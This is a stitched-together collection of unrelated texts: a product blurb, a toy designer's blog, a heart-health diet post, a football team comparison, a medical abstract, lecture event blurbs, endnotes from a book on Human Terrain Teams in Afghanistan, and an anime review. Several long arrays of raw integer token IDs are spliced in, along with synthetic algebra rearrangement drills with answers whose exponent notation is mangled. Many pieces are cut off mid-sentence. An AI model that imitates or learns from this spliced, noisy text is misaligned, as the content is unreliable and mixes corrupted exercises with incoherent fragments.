cubes, deli meat cubes, candies, garnishes, salad toppings, and other cold foods. Thanks to its 6″ length, this tong is easily manageable while keeping guests’ or servers’ hands safely away from your food! Made of stainless steel, this durable tong is built to last! Plus, its simple… This product is composed of: 18/10 stainless steel cover, chromeplated warmer & rack, and ovenproof glass dish. A beautiful master piece on the buffet table for parties and family gatherings. Ideal gift to family and friends too.Thursday, July 25 MATCHBOX vehicles are coming... Since my last post, I've been hard at work bringing the next batch of Matchbox vehicles for 2014 at Mattel in El Segundo, California. The design approach focuses on a child's love of the INDUSTRIAL and the extremely RUGGED---we call it Matchbox-izing---a great way to separate itself from Hot Wheels' more sleek and design-y approach. Some "licensed" vehicles from GM, Ford, and Toyota will also be included in the batch, approaching these with a more subtle rugged feel to keep the licensors happy. The link will send you to a super collector's blog of many die-cast vehicle brands who got Mattel's permission to go behind the scenes and photograph work-in-progress 3D prints of the vehicles, with some of them (the multi-colored versions) coming as rare "first shots" from the manufacturing plant for review, awaiting my approval to move forward to the production version---i.e. retail store editions!--- coming next year. It's been very exciting being able to make these cars for the world---I've learned a whole lot in making these little toys but it's all been worth the long hours. I'll keep you posted on further progress as we go! Click the link now! 0 comments: Post a Comment My Website About Me Miguel is a professional artist with experience in concept art, graphic art comps, posters, and storyboards for the entertainment industry. His clients include Mattel, Travel the Road, Ford, Lexus, Konami, HBO, and Dreamworks. Miguel also designed at Mattel working on Hot Wheels and Matchbox vehicles. He is also currently teaching in Madrid, Spain. You can contact him at mlopezart@yahoo.com.Saturday, January 2, 2010 Heart Health I had a conversation with my sister that made me start thinking seriously about heart health and what to eat to promote a healthy heart. My grandma and grandpa on one side, and my grandpa on the other side all had heart surgery for blocked arteries and heart problems. My husband’s family has so many different heart issues, whether it be for defects or other problems. Knowing that there are heart problems on both sides of our families is a huge wake up call to me. What can I do to promote a healthy heart? I decided to do some research. Mayo Clinic has come up with a List of 7 steps to promote a healthy heart diet. I have listed these seven steps along with steps that I can take to incorporate them into my life, some the Mayo Clinic Staff mentioned in the article, and some that I came up with myself. 1. Limit unhealthy fats and cholesterol What I can do: * Use Olive Oil when cooking. This is something that I already do, but something that I can continue. * Watch prepackaged foods and avoid saturated fats. Watch out for hydrogenated oils in the ingredients. * Get healthy fats from nuts and other natural foods. * Continue using Smart Balance margarine. Look for margarine that does not have saturated fats, to replace butter with, while baking. 2. Choose Low Fat Protein Sources What I can do: * Eat more fish. * Eat more legumes. * Eat less red meat. While this would be a fantastic idea, we also get a freezer full of red meat every year from the in-law’s. It would not be practical to eliminate red meat, but it would be a great idea to find ways to make eat red meat healthier. I drain the fat and trim the fat when cooking red meat. It may be possible to substitute beans for half of the meat, or at least a portion of the meat in recipes. This would add veggies and fiber. Any ideas on this one? Or is there no way to avoid the unhealthy sides of red meat? Pay attention to the nutrition labels- go for the low fat options. 3. Eat More Vegetables and Fruits What I can do: Get at least 5 a day in, sure wouldn’t hurt to get more! I have a problem with snacking, why not replace those unhealthy snacks with fruits and veggies? 4. Select Whole Grains What I can do: * Lately, I have been selecting the cheapest bread to try to save money. By choosing breads with whole grains, I could save much more money in the long run by avoiding medical complications. Once again, read the labels! * Always buy whole wheat pastas and brown rice. * Pay attention to the fiber content when selecting cereals. What is the cereal made from? Mayo Clinic recommends 5 grams of fiber or more. * Buy whole wheat flour to bake with. Even if I substitute half of the what the recipe calls for with whole wheat flour, this still makes it healthier for the heart. * Continue eating oatmeal for breakfast. I always eat the oatmeal from the can, not the packets. The packets are almost always filled with sugars. 5. Reduce Salt in Your Food What I can do: * Do not add salt while cooking. This is one thing that I have been faithful in since starting this journey to a healthy lifestyle. I have high blood pressure and I am on meds for it. I would LOVE to be off of those meds someday. Come on, I’m 24 years old. I shouldn’t be on blood pressure meds. * Instead of buying canned soups, which come in so handy for work, make my own low-sodium soups and freeze them. Not only will they be healthier, they’ll taste better too! * Whenever possible, buy the low sodium version. * Look for salt substitutes. 6. Practice moderation What I can do: * I feel like this one is so important. I have the clean your plate syndrome. I have realized that using smaller plates really helps this. I have cute seasonal plates that are much smaller, but I should try using smaller plates year round. * Continue to measure and count portion sizes. My husband and I have both learned a lot from doing this. Not only does it make for a healthier diet, but you save money by making foods last a lot longer!
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391, 11, 85, 424, 20, 559, 256, 559, 270, 11, 85, 285, 1918, 270, 15, 187, 14, 18, 187, 20300, 3383, 1010, 559, 13062, 559, 2030, 428, 1249, 7672, 1237, 11, 82, 428, 14114, 11, 82, 428, 3349, 11, 82, 10, 281, 391, 11, 82, 559, 1182, 285, 1918, 391, 15, 187, 14, 11246, 1717, 187, 16591, 3383, 24, 11, 77, 559, 495, 11, 77, 559, 374, 11, 77, 11050, 19, 10768, 428, 12035, 23, 559, 34775, 11050, 20, 559, 577, 559, 337, 10, 275, 253, 830, 1182, 11, 77, 559, 305, 285, 1918, 1182, 15, 187, 883, 16989, 187, 20300, 428, 19, 428, 374, 11, 86, 424, 21, 559, 337, 10637, 11, 86, 424, 19, 428, 898, 2504, 11, 86, 424, 19, 428, 374, 11, 86, 424, 20, 559, 470, 11, 86, 424, 20, 281, 259, 559, 891, 11, 86, 424, 19, 559, 2805, 11, 86, 559, 391, 11, 86, 424, 21, 559, 1269, 11, 86, 424, 20, 285, 1918, 1269, 15, 187, 14, 19, 187, 20300, 313, 43676, 428, 12842, 428, 22038, 7672, 22, 11, 76, 424, 20, 428, 374, 11, 76, 424, 20, 428, 374, 11, 76, 424 ]	and give q. 0 Rearrange -871y3 + 39y*4 - 20y*4 - 2y*2 - 7y*2 + 34y*4 + 872y*3 to zy*4 + gy + m + sy2 + uy*3 and give u. 1 Express 322i + 1 + 5i3 + 417i + 861i - 3i*3 in the form w + ki + yi3 + zi*2 and give y. 2 Rearrange 1 - 1034r*2 + 1 - 4189r*3 + 1036r*2 to the form or*3 + ur + wr2 + j and give o. -4189 Rearrange -4p*4 - 6 + 6 + (-2p*4 - 4p4 + p4)(-7 - 3 - 2) - p4 + 7p*4 - 3p*4 to up*2 + sp + lp4 + b + zp3 and give l. 59 Express 5 - s3 + 135s2 - 29481s + 29481s as m + js*3 + ns + ps2 and give m. 5 Rearrange -1 + 1 - 2q + (3 - 10 - 2)(-3q + 2q + 1055 - 1058) to the form z + xq and give x. 7 Rearrange -6 - 37443c + 6 + 20116c to y + kc and give y. 0 Rearrange (-2 + 4 + 0)(-342 + 215g + 149 + 188) to w + og and give w. -10 Rearrange ((m + m - 4m)(30 - 30 + 11m) - m2 + m2 + m2)(m*2 - 8m*2 + 29m*2 + 2) to the form cm*4 + om*3 + b + sm + ym2 and give c. -462 Rearrange 12r - 42r2 - 5 + 5 - 9r - r*2 to u + dr*2 + vr and give v. 3 Express (-3j - 1 + 1)(0 + 3 - 4) + 1128j - 513j - 918j + (1 - 3 + 0)(j + 1 - 1) + j + 2j - 2j + j - j + 2j + j + 0 + 0 in the form c + hj and give c. 0 Rearrange (7 - 183z + 3z*2 + 183z)(236 - 240 + 134z + 74z) to tz*3 + az*2 + j + wz and give w. 1456 Rearrange 2 + q3 - q2 - 53q + 463q - 196q - 80q to fq3 + bq*2 + s + iq and give i. 134 Express 5240m - 98359 + 98359 as im + s and give i. 5240 Express -13z4 + 0z*2 + 642z - 3z3 - 640z - 16z4 + 2z*2 as yz*4 + jz*3 + l + pz*2 + rz and give j. -3 Express -3r3 + 4r*3 - 3r*3 + (3r2 - r2 - r*2)(-280r - 93r - 75r) - 13r*3 + 22r*2 - 22r*2 as or*2 + wr + zr3 + j and give z. -463 Express (424x + 6293x2 - 6286x*2 - 133x)(-5 + 0 + 3) in the form bx*2 + ix + h and give b. -14 Express -187 + 64 + 54 + 19786m + 69 as vm + i and give v. 19786 Express -16 + 17866r3 + 4r*2 - 17866r3 + r4 in the form kr2 + ur*3 + m + vr*4 + pr and give v. 1 Express -77f2 - 3f + f*4 + 3f*3 - 74f*2 + 186f*2 - 3f*3 + 2f*3 as vf*4 + if*3 + kf*2 + m + qf and give m. 0 Rearrange (-2f3 - 2f + 2f)(2210 + 9329 + 1824)(0f - 2f + 0f)(5 - 1 - 3) to the form nf + mf3 + zf*4 + l + gf*2 and give z. 53452 Rearrange 4b - 49b3 - 13223 - 160b*3 + 13228 to the form fb*2 + vb*3 + ub + w and give u. 4 Rearrange -143764 + 143764 - 1711t2 to the form jt*2 + mt + q and give j. -1711 Express (-2c2 - c2 + 4c*2)((-3 + 2 + 3)(0 + 2 + 0) - 76 - 615 - 3931) in the form oc + bc2 + u and give b. -4618 Rearrange t4 - 264t - 258t - 3t*2 - 2079 + 0t*2 + 774t - 254t to dt*4 + b + rt*3 + st + xt2 and give d. 1 Rearrange 30 - 6492s - 6501s + 12979s to zs + r and give z. -14 Rearrange (-8c + 17 + 6c + 1)(-46c - 64c + 94c)(5 - 4 + 0) to the form nc + l + hc*2 and give h. 32 Express 1 + 10634m*3 - 10613m*3 - 5m - 7 + 8m as bm*2 + om*3 + y + hm and give y. -6 Rearrange (-7x + 1 - x + 14x)(-2x + x + 3x)(-11 + 1 + 5x + 7) to u + zx*3 + nx*2 + ix and give z. 60 Rearrange h*2 + 2h*3 - 76082 + 3h + 59415 - 2h2 - 3h to the form ph3 + t + kh + mh2 and give t. -16667 Express 8 - 11 - 1 - 3i - 2i4 + i - 88i*2 + 12 in the form zi*4 + b + wi*3 + si + hi2 and give s. -2 Rearrange -141w2 + w3 - 82w2 + 237w*2 + 6w - 5w4 to kw*4 + dw*2 + pw*3 + gw + x and give g. 6 Express -33t - 26t - 31t - t2 + 121t + 1 - 32t + 103t*3 in the form ft*2 + rt*3 + s + bt and give b. -1 Rearrange (-15 + 103 + 25 - 12)(32q - 133q - 28q) to rq + z and give r. -13029 Express (-7l + 3l + 2l)(-2111 - 1196 + 520)(-3 + 4 + 1) in the form zl + g and give z. 11148 Rearrange -2 - 2u*4 + 1255u*2 - 947u*2 - 2u*3 + 0u*3 to w + iu*2 + qu + ru4 + xu*3 and give x. -2 Rearrange (419 - 128 - 202)(5k3 - 2k*3 - 2k**
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273, 849, 13035, 4142, 10343, 1561, 253, 29386, 1387, 1537, 2085, 16039, 715, 672, 2793, 310, 954, 20803, 15, 1916, 2953, 436, 2523, 13, 436, 1263, 33888, 1770, 14, 936, 14, 7791, 2544, 275, 22959, 2190, 747, 10865, 15, 733, 369, 1119, 326, 13035, 4142, 5926, 954, 16821 ]	arm of the Swedish utility group, and EnBW said they had not yet decided whether to bring a complaint. "We are preparing a decision but it is open what it will be. The term for a complaint to be lodged ends in early August," said a spokesman for EnBW in the Baden Wuerttemberg state. A Vattenfall spokeswoman also said a decision would be taken in due course.Jose Mourinho's Chelsea 2013-14 vs. 2005-06 It's been a little over three months since the 2013-14 season kicked into action, and in that time we have been able to get a better idea for how well things will go for Jose Mourinho upon his Chelsea return. Given his impact at Stamford Bridge during his inaugural spell in charge—winning back-to-back Premier League titles, among a host of other trophies—it was understandable that most Chelsea supporters would be expecting a similar outcome. This is a different Premier League, however. It's one that has changed considerably in the 10 years since Roman Abramovich purchased the Blues, and with the money being spent on new recruits by their rivals, the level of competition has gone up a notch. It's a also a very different Chelsea team that Jose Mourinho has inherited and one very different to the team he took to unprecedented success in 2006. How do those teams match up against one another? Are Chelsea stronger now than the team that secured successive Premier League titles? Or are they weaker and in need of more inspiration from their leader? Looking at some key areas in the make-up of the team, Bleacher Report investigates a little further. The Case for the Defence Much of the debate surrounding Chelsea this season is whether Jose Mourinho knows his best team or not. There have been key areas where Chelsea have not looked stable, with Mourinho often rotating as a result, searching for the ideal combination. It's clear the Portuguese still rates the talents of his captain John Terry, but question marks remain regarding who will partner him at the heart of defence. Thus far, David Luiz and Gary Cahill have shared responsibilities, with Terry given the occasional rest for midweek fixtures. It all suggests the manager isn't confident with those he has at his disposal, but he needs to make a decision and take the plunge sooner rather than later. In 2005-06, any indecision over the Blues defence was far from the question. Chelsea's No. 1 defensive partnership was the Terry-Ricardo Carvalho combination and it served them well, too. At the same stage as we find ourselves this season, Chelsea had lost just six goals, having not conceded in their opening six matches. Their overall goals against would be 22 in the Premier League that season. This term they have leaked 10 and while defensive solidity doesn't look too far off, there have been moments when Chelsea have looked vulnerable. Midfield Ian Walton/Getty Images In 2005-06, Frank Lampard scored 20 goals for Chelsea in all competitions. He's going to be a long way short of that this term and there doesn't yet appear to be another midfielder who will hit such an impressive mark. That's not to suggest Chelsea's current crop of midfield stars lack talent, but the contribution of Lampard's goals over the course of a season were worth so much to Chelsea, easing the burden on the strikers. In fact, his goals were directly responsible for seven points in 2005-06, not to mention the countless games in which he helped them rack up victories, scoring the opener or helping ensure there was no way back for the opposition. In Eden Hazard, Oscar, Juan Mata and Andre Schurrle, Chelsea's midfielders are not looking as prolific—although it must be said Hazard and Oscar's four league goals each this year is an encouraging sign of what may come in the near future. Outside of that, Jose Mourinho had Claude Makelele to marshal his midfield whenever Lampard was poaching goals further forward. Right now, the Blues do not have a defensive midfielder anywhere near the class Makelele demonstrated and, as a result, are not able to control games the way they once did. On the wings, Arjen Robben and Damien Duff were a massive threat in 2005-06 and terrorised most defences they faced on a weekly basis, with Joe Cole also another impressive attacking option. With their aforementioned attacking talents now, the Blues not only have more strength in depth, however, but players who harbour a different threat and are more than a match for their predecessors. Strikers Chelsea's options with their strikers appear much stronger right now than they did in 2005-06, despite the presence of Didier Drogba back then. While Blues fans were spoiled with the sight of Drogba racking up the goals later in his Chelsea career, it must be remembered that the Ivorian, in the early part of his Stamford Bridge career, was far from the threat he would become. That's not to say he didn't impress—he did at times—but he struggled for consistency and the fans often let him know their thoughts when it came to his form. Indeed, it reached the point where Drogba remonstrated with one fan after he scored the winner in a 1-0 victory against Arsenal early that season. Drogba had been receiving some jeers from the Matthew Harding Stand crowd, and when he deflected his effort beyond Jens Lehman to seal all three points, he wasted little time in singling out the man who had earlier criticised him. Such criticism of Drogba would cease, of course, but in 2005-06, Chelsea's frontline wasn't as impressive as it is now. Mourinho can currently choose from Fernando Torres, Samuel Eto'o and Demba Ba. All three are players coming into form right now, with Eto'o and Torres once ranked among the world's most-feared frontmen. In 2005-06, it was an improving Drogba, tormented Hernan Crespo and inexperienced Carlton Cole who led the Chelsea attack. Character It's a staple of any team Jose Mourinho has coached. In the face of adversity, they often come together and pull through. And if they don't, they sure as hell come close to doing so. Chelsea's 2005-06 Premier League champions were a team who were rarely outdone. They battled for supremacy and when they had earned it, they turned their dominance into exceptional performances, running away with the league title. The 2005-06 season started with Hernan Crespo scoring a 90th-minute winner against newly-promoted Wigan Athletic and, from that point, Chelsea never looked back. That game set the tone for what Mourinho's Chelsea were about. They were unrelenting, never giving up in their pursuit of victory, and won a further seven matches with goals that came in the final 20 minutes to prove the difference. This Chelsea team seems to be made of similar stuff and has already displayed a similar determination never to lose matches. Coming on the back of a disappointing defeat to Newcastle United a week earlier, Chelsea were trailing 2-1 at home to the Baggies with time all but up and the referee ready to blow his whistle. They kept believing, though, and eventually got their reward when Ramires was fouled in the box and a penalty awarded. It was subsequently dispatched by Eden Hazard, and while it will be seen as two points dropped, Chelsea took so much more from the game. If the Blues do win the title this season, it will be moments such as that against West Brom that will stand out as significant. Verdict Shaun Botterill/Getty Images The Chelsea team circa 2013-14 may be one full of young, promising talent, but just as much as that is a strength of which the Blues are rightly proud, it is also a significant weakness when comparing like-for-like with their predecessors from 2005-06. Jose Mourinho's team from that era was one ready for success. In fact, they had already lifted the Premier League with a record points haul the previous season and, rather than building for what might happen in the future, were primed to achieve everything expected of them. And they did. Right now, Chelsea continue their transition to a club for the modern era, although Mourinho has returned at the moment when the Blues are close to finding their way back to the summit of English football. If success doesn't come the way of Chelsea this term, we can be sure the Blues will be etching their name into trophies next season and beyond. Can the current crop become greater than the Class of 2006? Only time will tell, but for now they remain—ever so slightly—in the shadow of a team that will go down as one of the Premier League's finest.Changes in collision rates among novice drivers during the first months of driving. As a group, young drivers have crash rates that far exceed those of older, experienced drivers. But even among teenagers there are age-related differences; crash rates decline consistently and dramatically with each yearly increase in age. A more precise understanding of how crash rates decline within the teenage group might provide insights into when experience is most influential. To address this issue, this study examines month-to-month changes in collisions among new drivers. It was found that crash rates drop most dramatically
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2119, 359, 476, 3959, 247, 49012, 247, 1175, 4832, 5522, 347, 973, 347, 253, 3640, 326, 344, 14125, 281, 247, 5453, 326, 1663, 2193, 779, 285, 5605, 281, 923, 779, 1132, 449, 187, 187, 10314, 2521, 257, 556, 3715, 1175, 7688, 387, 6201, 5292, 13, 665, 344, 7416, 275, 4267, 13, 285, 369, 387, 380, 48954, 4933, 247, 21855, 6874, 281, 2285, 14, 13239, 327, 253 ]	the right of the touchscreen is designed for plastic cards with the NFC hit area at the bottom of the stand. This means you have to put iPhone on the stand upside down for Apple Pay Suica to work. It’s very awkward. The process is not that fast. The service is OK but nothing more. Suica cash recharge at the JR station or the convenience store cash register is a faster deal, and the convenience of Apple Pay Suica Recharge always beats cash recharge. The main benefit is that 7-Eleven ATMs are plentiful, open 24 hours and offer Suica cash recharge during the Mobile Suica late night maintenance offline hours 1am~4am.Use of Amplatzer duct occluder to close severely hypertensive ducts: utility of transient balloon occlusion. The dividing line between a patent ductus arteriosus with severe but reversible pulmonary artery hypertension and an Eisenmenger duct remains elusive. Increasing experience with the Amplatzer duct occluder has made non-surgical closure of even large patent ductus arteriosus simple and safe. However, data on the use of this device in severly hypertensive ducti is sparse. There were six patients (2 males, 4 females), wherein transient ductal occlusion was done with an embolectomy balloon catheter. The post-occlusion hemodynamics along with overall clinical and hemodynamic assessment was used to decide the likelihood of benefit of closure and the choice of the device. In four of six patients of patent ductus arteriosus with severe pulmonary artery hypertension (pulmonary vascular resistance index> 8.0 U/m2) the duct was successfully closed using the Amplatzer duct occluder, while in two an Amplatzer ventricular septal defect occluder was used. Transient balloon occlusion is quite helpful for assessing patients with patent ductus arteriosus with severe pulmonary hypertension, and short-term non-invasive follow-up has shown this strategy to be safe and useful.What can the rise of Japan and Germany in the last century - or the rise of Athens 2,000 years earlier - tell us about the risks facing the US and China today? Is a US-China war inevitable? Graham Allison, among the most astute geostrategic observers of his generation, terms this “Thucydides’s Trap.” He takes us back to the Peloponnesian war to remind us of the timeless insights of the historian Thucydides: When a rising power rivals a ruling power, danger is near. In fact, in 12 of the 16 occasions this global power pattern has repeated, the outcome was war. With this view to history, the existential challenge of our era is not violent Islamic extremists or a resurgent Russia; it is the impact of China’s ascendance on the international order. According to Allison, "Never before in history has a nation risen so far, so fast." Even Chinese President Xi Jinping has urged that the world “work together to avoid the Thucydides trap… Our aim is to foster a new model of major country relations.” But is being aware of danger enough to avoid it? While the West seeks to encircle and constrain, China demonstrates, with aggressive naval exercises in disputed seas, that it will demand the respect due a major power in its own region and the world. Can the world escape the perilous prophecy of Athens and Sparta? Graham Allison, director of Harvard’s Belfer Center for Science and International Affairs, founding dean of Harvard’s Kennedy School and advisor to every secretary of defense from Reagan to Obama, shares insights from his career, and outlines the painful steps both China and the US must take to avoid disaster. SPEAKER: Graham Allison Director, Belfer Center for Science and International Affairs, Harvard University MODERATOR: Michael M. Nacht Thomas and Alison Schneider Professor of Public Policy; Interim Director, Center for Studies in Higher Education, Goldman School of Public Policy, University of California, Berkeley For more information about this event please visit: http://www.worldaffairs.org/event-calendar/event/1732 In 2011, Cairo's Tahrir Square commanded the attention of the world as the Egyptian people demanded their freedom. At the time, President Barack Obama famously declared: “Egyptians have inspired us, they have changed the world.” But, half a decade later, is this the whole story? The Arab World's most populous nation remains as volatile as ever and thoroughly enmeshed with a broader moment of political turbulence that is unfolding across the globe. In his new book, "The Egyptians: A Radical Story," former Egypt Correspondent for the Guardian, Jack Shenker, examines the roots of Egypt’s revolution, arguing for a much more nuanced, and far-reaching view of the forces that are reshaping the region. Egypt’s revolutionary turmoil has never just been about Mubarak, or his successors, or elections, says Shenker. It is not merely a civil war between Islamists and secularists, nor a fight between backwardness and modernity. Underlying it all, the unrest is about economically marginalized citizens muscling their way onto the political stage to demand sovereignty over domains previously closed to them: factories and urban streets, the houses they live in, the food they eat and the water they drink. The real story is more complicated and, ultimately, more hopeful. Speaker Jack Shenker is an author and journalist, and Former Egypt Correspondent for the Guardian. The conversation is moderated by David D. Arnold is President of The Asia Foundation. For more information please visit: http://www.worldaffairs.org/event-calendar/event/1683 Our lives in 2050 will be vastly different than today. Rapidly advancing technology is changing everything from food production to health care, energy output, manufacturing and the military balance. Innovations already in development include brain-computer interfaces, vat-grown cruelty-free meat, knitted cars and guided bullets among many others. Technology which once seemed like science fiction is now reality - and even old news - where can we possibly go from here? The Executive Editor of The Economist, Daniel Franklin, explores how technology will shape the future in his recent book, Megatech: Technology in 2050. His insights are based on extensive interviews with distinguished scientists, industry leaders, academics and acclaimed science-fiction authors who are at the forefront of the most exceptional inventions and sinister trends. Where will technology be in 2050, and how will it affect the way we live? What does this mean for the job market and how we perform our work? In what ways can we prepare for the opportunities — as well as the dangers — that await? Speaker Daniel Franklin is Executive Editor at The Economist. He is in conversation with Quentin Hardy, Head of Editorial at Google Cloud. For more information about this event please visit: http://www.worldaffairs.org/event-calendar/event/1699Series One Series Two Series Three Series Four The Specials Series Five Guide Hits from May 2008 Saturday, 28 February 2009 It seems that the Ood Sigma, which last appeared in Series 4 during Planet of the Ood, will be returning during one of the specials as it was spotted during filming. The picture to the left, taken by Scooty, clearly shows the Ood, who was played by Paul Kasey. So what would this mean? Considering pictures of David Tennant filming in his old orange spacesuit, last used during another Ood episode The Satan Pit, have emerged, maybe the whole Beast thing is happening again. It would be interesting to hear some of your theories, feel free to post them below.Wedington Township, Washington County, Arkansas Wedington Township is an inactive township in Washington County, Arkansas, United States. A variant name was " Township". The township was established in 1886. References Category:Townships in Washington County, Arkansas Category:Townships in ArkansasSurrey want Pietersen deal Surrey are preparing to offer Kevin Pietersen "a good market rate" to retain his services once the severance of his ECB central contract is complete. Pietersen's England deal was due to run until October but his representatives have been negotiating a pay-off, in conjunction with the Professional Cricketers' Association. Pietersen's England career was effectively ended by the ECB on Tuesday when it announced he would not be considered for selection. As a centrally contracted player, Surrey were not required to pay him a salary but Richard Gould, the club's chief executive, said that discussions to prolong the 33-year-old's stay were planned at the earliest opportunity. Agreeing the termination of his England deal would free Pietersen up to play a full season in the IPL and, while he may be reluctant to return to the UK for Division Two Championship cricket, he is settled living with his family in Chelsea and thought to be open to a limited-overs arrangement. "We know that he really wants to continue playing for Surrey and he knows we are really keen for him to continue doing so," Gould said. "Over the next week or so we will work together to try and make sure that happens. "We need to make sure we can offer a KP a good financial package as well as the knowledge that he belongs to a club that really values him and wants to see him play." Pietersen has developed good relationships at Surrey, who he joined in 2010, and was at The Oval giving a coaching session to team-mates on the
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789, 987, 627, 285, 3531, 779, 432, 271, 9054, 281, 247, 11453, 449, 22587, 7080, 13, 4572, 407, 2488, 13, 4162, 1722, 13, 4267, 15, 187, 187, 2993, 3260, 752, 703, 369, 5015, 670, 285, 27, 10035, 17966, 2183 ]	the defense contractor BAE, which, along with various subcontractors, employed Human Terrain Team members at that time. Cooper, interview by author, April 22, 2010. Seven months later, he was in Afghanistan: Cooper started training in Leavenworth in March 2008 and left for Afghanistan in August, landing in Maiwand in late September. Someone directed them to a tent with a few cots: The description of Loyd is from interviews with her teammates and photos taken shortly after their arrival. Ayala had missed this place: Unless otherwise noted, biographical details and quotes from Don Ayala in the section below are from Ayala, interviews by author, August 17–19, 2009. Karzai was a royalist from Kandahar: "Office of the President, Islamic Republic of Afghanistan: Biography," <http://president.gov.af/en/page/1043>, accessed August 15, 2012, and Coll, Ghost Wars, 285–86. A relentless diplomat who had been trying: Karzai's Washington contacts extended back to his days as a press, logistics, and aid worker with the anti-Soviet faction of Sibghatullah Mojaddedi during the jihad of the 1980s. Coll, Ghost Wars, 285–86. In the 1990s, after the Soviets withdrew: Ibid., 286. For his service under Rabbani, see <http://www.pbs.org/newshour/updates/asia/july-dec01/karzai_12-03.html>, accessed August 15, 2012. Fahim had been Massoud's security chief: Coll, Ghost Wars, 286–87 and 461–62. For more on Fahim, see "Center for American Progress: Profiles of Afghan Power Brokers," <http://www.americanprogress.org/issues/2009/10/afghan_power_brokers.html>/#4, accessed August 15, 2012. In 1999, appalled: Some attribute the murder of Karzai's father to the Pakistani intelligence service, the ISI. Arab bombers posing as journalists assassinated: Coll, Ghost Wars, 582, and John F. Burns, "Afghans, Too, Mark a Day of Disaster: A Hero Was Lost," New York Times, September 9, 2002. The men on the Karzai Protective Detail believed: "We loved how the villagers and everybody greeted the president," Ayala recalled. "It was very emotional, a very, very proud moment to be a part of this history.... He was a good man. He treated people very well and he treated us very well.... [T]he guy grew on you.... We definitely didn't want to lose him on our watch.... You don't want to be part of that; it would be hard to live with. So we took pride, but we ended up liking the man." He went with Karzai to inaugurate: Karzai officially reopened the Salang Pass in December 2003 with U.S. ambassador Zalmay Khalilzad, about a month before Ayala left his job with Karzai's protective detail. See Associated Press, "Vital Tunnel Reopens Between North and South Afghanistan," December 28, 2003, and UNHCR, "Chronology of Events in Afghanistan, December 2003," <http://www.unhcr.org/refworld/pdfid/407bdce54.pdf>, accessed September 15, 2012. A natural mentor, he counseled: See letter of David J. Hazarian, Regional Security Officer, Diplomatic Security Service, U.S. Consulate, Peshawar, Pakistan, and former shift leader of the Karzai Protective Detail, to Judge Claude M. Hilton, filed April 23, 2009, in federal court: "Don exhibited a mature understanding of complicated Afghan cultural sensitivities and treated all those he encountered with respect, dignity and honor. Don was especially effective at dealing with the Afghan members of President Karzai's security detail, the Department of State, and Dyn Corp personnel. They looked up to Don and he responded in kind with professional conduct and insightful mentoring." See also letter of Scott Lynton, former member of the Karzai Protective Detail, to Judge Hilton, April 12, 2009: "He would gain the attention of our Afghani-counter parts [sic] (presidential body guards).... They were very keen to talk and listen to [Ayala]. He was basically their personal trainer in all issues." He wrote poetry on his bedroom wall: Letter of Angelica Ramos, Reuters, to Judge Hilton, April 15, 2009, and letter of Scott Lynton: "He would write his own poetry based on his life experience. He would display his poetry by writing on his room wall." They called him "Don Juan": Ayala's radio call sign was "Don Juan." See also letter of Scott Lynton: "When we finished work for the day, we had a bar that we could use to unwind and socialize. There was always a group of working professionals around our operation, the majority of which were females. They would frequent our establishment once or twice a week for cocktails at our bar. This is where I witnessed how Don Juan earned his name and how he could be a true gentleman. He established quality relationships with his female friends and made his sincerity shine. It was almost as if he was a shrink for the women he befriended, trying to understand and appreciate who they were and make them feel better about what ever [sic] was troubling them. This was not your typical behavior for contractors on the KPD, especially the single men who were looking for something more than a social drink with the available pretty reporter." They called him the "Minister of Hugs and Kisses": Letter of Stephen Hohl, former member of the Karzai Protective Detail, to Judge Hilton, filed April 23, 2009, in federal court; letter of Jeffrey P. Hinton to Judge Hilton, April 15, 2009; and letter of Scott Lynton: "Don would literally give hugs and kisses to our counter parts, which was the traditional cultural showing of appreciation and respect to others. Most of us would decline this gesture for various reasons. Don had no problem expressing his appreciation and compassionate side." When a friend back home offered: Letter of Karen Rodriguez to Judge Hilton, March 27, 2009. He left Afghanistan in 2004 and spent: Ayala was part of an international team that advised protective services personnel for the Iraqi president and a handful of other top Iraqi officials. Ayala, interview by author, August 19, 2009. As a research manager, Ayala was taught: Ayala, interview by author, August 19, 2009. By the "Kevin Bacon game" he meant the idea that there are six degrees of separation between Kevin Bacon and anyone working in Hollywood. The software was known as MAP-HT. It was the first, largely unsuccessful iteration of a program designed to be used by Human Terrain field teams. Ayala liked playing with the software in training but found it useless in the field: "[A]s fast as we were going on patrols, we never really had time to sit there and build a network of people." During my time with Human Terrain Teams in Afghanistan between March 2009 and November 2010, I did not see a single team member use the software. An updated version fielded in 2010 was said to work better, but I found no evidence of anybody using that either. See also Yvette Clinton, Virginia Foran-Cain, Julia Voelker McQuaid, Catherine E. Norman, and William H. Sims, "Congressionally Directed Assessment of the Human Terrain System," Center for Naval Analyses, November 2010, 35–36. Warren had worked for Blackwater and other: Mike Warren, interview by author, March 20, 2009. The Kabul to Kandahar road was mainly funded by USAID, but Japan also contributed. There was a reason that people like Ayala: Ayala, interview by author, August 18, 2009. The purpose of the Ranger Indoctrination Program was to "weed out the weak," he told me. What the Army needed, Ayala thought: During training at Leavenworth, Human Terrain System officials celebrated civilian social scientists as the most important part of the mission. "But in the combat zone, they were not," Ayala said. "They were good. They helped. They wrote good reports. But being in the combat zone, being out in the field itself is a different story. To survive in conflict, you've got to be aware of your surroundings. You got to be aware of what can happen. You got to be aware of the guys you're with, the military, and you got to be in shape to go on foot patrols and stuff like that." Ayala, interviews by author, April 19 and May 4, 2009. Ayala was no anthropologist, but: That Ayala did this more than once is evidenced by letters from his supporters to Judge Hilton. In one of our interviews, he recalled a night in Kansas City when he and other Human Terrain trainees went out to a bar, where a man menaced them and Ayala talked him down. "Not to toot my horn, but the things I was going to school for, the ethnography, I put it to work right there and turned him from an enemy to a friendly." Ayala, interview by author, April 17, 2010. She knew what she was talking about and: Mike Warren told
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326, 352, 5644, 281, 5699, 3374, 8762, 2910, 272, 16906, 15, 6893, 314 ]	things going on (the first half of the series barely had any mahjong matches, and you have just clipshot of girls having tile in their hands, instead of short sequences of what they are dealing etc). Heck, besides Teru's match, you really have way too few match perspective, along with discard pool etc. Of coure, Saki in general wasn't really a real mahjong series (the likes of Akagi), a bit how K-on is to music, but the first series actually had a more balanced content between characters, fanservice and actual mahjong, compared to Achiga. A last thing that I also found awkward was how little you know about the Achiga girls. Besides Kuro and her sister abilities and all, we hardly know a thing about Shizu, Ako and Arata playing style (save Shizu being just... stubborn, Ako having a quick calling sense (with very little exposure about that) and Arata being an enigma, save "weird" discards). Hell, Kuro was dominating Achiga's screentime to the point it was shoehorned, and I can't exactly feel satisfied that she had to be "babysit" by Toki and Kirame during this match to finally shine (whereas if it wasn't for Teru domination requiring everyone cooperation, she would be just the lamb to slaughter). Really, at this point, I admit guilty for enjoying more Teru's carnage than anything else during the series, considering how awkward the 